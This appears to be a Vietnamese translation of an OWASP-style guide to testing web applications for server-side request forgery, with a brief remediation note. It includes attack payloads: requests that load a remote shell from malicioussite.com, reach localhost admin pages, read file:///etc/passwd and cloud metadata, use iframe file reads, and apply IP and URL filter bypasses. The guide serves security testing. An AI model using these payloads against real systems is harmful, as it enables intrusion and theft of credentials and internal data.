Các ứng dụng web thường tương tác với các tài nguyên bên trong hoặc bên ngoài. Mặc dù bạn có thể mong đợi rằng chỉ tài nguyên dự định mới xử lý dữ liệu bạn gửi, nhưng dữ liệu được xử lý không đúng cách có thể tạo ra tình huống có thể xảy ra các cuộc tấn công chèn ép. Một loại tấn công injection được gọi là Server-Side Request Forgery(SSRF). Một cuộc tấn công SSRF thành công có thể cấp cho kẻ tấn công quyền truy cập vào các hành động bị hạn chế, dịch vụ nội bộ hoặc tệp nội bộ trong ứng dụng hoặc tổ chức. Trong một số trường hợp, nó thậm chí có thể dẫn đến Thực thi mã từ xa (RCE).
Xem thêm Các vấn đề SEO với các tham số URL
Server-Side Request Forgery (SSRF) là gì
Trong cuộc tấn công Server-Side Request Forgery (SSRF), kẻ tấn công có thể lạm dụng chức năng trên máy chủ để đọc hoặc cập nhật tài nguyên nội bộ. Kẻ tấn công có thể cung cấp hoặc sửa đổi một URL mà mã chạy trên máy chủ sẽ đọc hoặc gửi dữ liệu đến và bằng cách chọn cẩn thận các URL, kẻ tấn công có thể đọc cấu hình máy chủ, chẳng hạn như siêu dữ liệu AWS, kết nối với các dịch vụ nội bộ như http đã bật cơ sở dữ liệu hoặc thực hiện các yêu cầu đăng đối với các dịch vụ nội bộ không nhằm mục đích tiết lộ.
Ứng dụng đích có thể có chức năng nhập dữ liệu từ một URL, xuất bản dữ liệu lên một URL hoặc đọc dữ liệu từ một URL có thể bị giả mạo. Kẻ tấn công sửa đổi các lệnh gọi đến chức năng này bằng cách cung cấp một URL hoàn toàn khác hoặc bằng cách thao túng cách các URL được tạo (duyệt đường dẫn, v.v.).
Khi yêu cầu được thao tác chuyển đến máy chủ, mã phía máy chủ sẽ chọn URL được thao tác và cố gắng đọc dữ liệu đến URL được thao tác. Bằng cách chọn các URL mục tiêu, kẻ tấn công có thể đọc dữ liệu từ các dịch vụ không được hiển thị trực tiếp trên internet:
- Cloud server meta-data – Các dịch vụ đám mây như AWS cung cấp giao diện REST trên http://169.254.169.254/ nơi có thể trích xuất cấu hình quan trọng và đôi khi thậm chí cả khóa xác thực
- Database HTTP interfaces – Cơ sở dữ liệu NoSQL như MongoDB cung cấp giao diện REST trên các cổng HTTP. Nếu cơ sở dữ liệu dự kiến chỉ có sẵn cho nội bộ, xác thực có thể bị vô hiệu hóa và kẻ tấn công có thể trích xuất dữ liệu
- Giao diện REST nội bộ
- Files – Kẻ tấn công có thể đọc tệp bằng <Files: //> URI
Kẻ tấn công cũng có thể sử dụng chức năng này để nhập dữ liệu không đáng tin cậy vào mã dự kiến chỉ đọc dữ liệu từ các nguồn đáng tin cậy, và như vậy là phá vỡ xác thực đầu vào.
Các bài viết liên quan:
Mục tiêu kiểm tra
- Xác định các điểm injection SSRF.
- Kiểm tra xem các điểm injection có thể khai thác được không.
- Đánh giá mức độ nghiêm trọng của lỗ hổng bảo mật.
Làm thế nào để kiểm tra
Khi kiểm tra SSRF, bạn cố gắng làm cho máy chủ được nhắm mục tiêu vô tình tải hoặc lưu nội dung có thể độc hại. Thử nghiệm phổ biến nhất là để bao gồm tệp cục bộ và từ xa. Ngoài ra còn có một khía cạnh khác của SSRF: mối quan hệ tin cậy thường phát sinh trong đó máy chủ ứng dụng có thể tương tác với các hệ thống back-end khác mà người dùng không thể truy cập trực tiếp. Các hệ thống back-end này thường có địa chỉ IP riêng không định tuyến được hoặc bị hạn chế đối với một số máy chủ nhất định. Vì chúng được bảo vệ bởi cấu trúc liên kết mạng, chúng thường thiếu các điều khiển phức tạp hơn. Các hệ thống nội bộ này thường chứa dữ liệu hoặc chức năng nhạy cảm.
Xem thêm Kiểm tra lỗ hổng bảo mật Client-side URL Redirect
Hãy xem xét yêu cầu sau:
GET https://example.com/page?page=about.php
Bạn có thể kiểm tra yêu cầu này với các tải trọng sau.
Tải nội dung của tệp
GET https://example.com/page?page=https://malicioussite.com/shell.php
Truy cập trang bị hạn chế
GET https://example.com/page?page=http://localhost/admin
Hoặc:
GET https://example.com/page?page=http://127.0.0.1/admin
Sử dụng giao diện lặp lại để truy cập nội dung chỉ giới hạn cho máy chủ lưu trữ. Cơ chế này ngụ ý rằng nếu bạn có quyền truy cập vào máy chủ, bạn cũng có đặc quyền truy cập trực tiếp vào trang quản trị.
Những loại mối quan hệ tin cậy này, trong đó các yêu cầu bắt nguồn từ máy cục bộ được xử lý khác với các yêu cầu thông thường, thường là điều khiến SSRF trở thành một lỗ hổng nghiêm trọng.
Xem thêm Top 10 lỗ hổng bảo mật theo OWASP
Tìm nạp file cục bộ
GET https://example.com/page?page=file:///etc/passwd
Phương thức HTTP được sử dụng
Tất cả các tải trọng ở trên có thể áp dụng cho bất kỳ loại yêu cầu HTTP nào và cũng có thể được đưa vào các giá trị tiêu đề và cookie.
Một lưu ý quan trọng về SSRF với các yêu cầu POST là SSRF cũng có thể biểu hiện một cách mù quáng, vì ứng dụng có thể không trả về bất kỳ thứ gì ngay lập tức. Thay vào đó, dữ liệu được đưa vào có thể được sử dụng trong các chức năng khác như báo cáo PDF, xử lý hóa đơn hoặc đơn đặt hàng, v.v., có thể hiển thị cho nhân viên hoặc nhân viên nhưng không nhất thiết phải hiển thị cho người dùng cuối hoặc người thử nghiệm.
Xem thêm Kiểm tra lỗ hổng bảo mật Incubated Vulnerability
Trình tạo PDF
Trong một số trường hợp, máy chủ có thể chuyển đổi các tệp đã tải lên sang định dạng PDF. Thử chèn các phần tử <iframe>, <img>, <base> hoặc <script> hoặc các hàm CSS url () trỏ đến các dịch vụ nội bộ.
<iframe src="file:///etc/passwd" width="400" height="400"> <iframe src="file:///c:/windows/win.ini" width="400" height="400">
Bỏ qua bộ lọc chung
Một số ứng dụng chặn các tham chiếu đến localhost và 127.0.0.1. Điều này có thể được phá vỡ bằng cách:
- Sử dụng đại diện IP thay thế đánh giá đến 127.0.0.1:
- Ký hiệu thập phân: 2130706433
- Ký hiệu bát phân: 017700000001
- Rút gọn IP: 127.1
- Sự xáo trộn chuỗi
- Đăng ký miền của riêng bạn có phân giải thành 127.0.0.1
Đôi khi ứng dụng cho phép đầu vào khớp với một biểu thức nhất định, chẳng hạn như miền. Điều đó có thể bị phá vỡ nếu trình phân tích cú pháp lược đồ URL không được triển khai đúng cách, dẫn đến các cuộc tấn công tương tự như các cuộc tấn công ngữ nghĩa.
- Sử dụng ký tự @ để phân tách giữa userinfo và máy chủ: https: //ised-domain @ attacker-domain
- Phân mảnh URL với ký tự #: https://attacker-domain#expected-domain
- Mã hóa URL
- Fuzzing
- Sự kết hợp của tất cả những điều trên
Để biết thêm về tải trọng và kỹ thuật bỏ qua, hãy xem phần tài liệu tham khảo.
Biện pháp khắc phục hậu quả
SSRF được biết đến là một trong những cuộc tấn công khó đánh bại nhất mà không sử dụng danh sách cho phép yêu cầu cho phép các IP và URL cụ thể. Để biết thêm về cách ngăn chặn SSRF, hãy đọc Bảng kiểm tra ngăn chặn yêu cầu phía máy chủ.
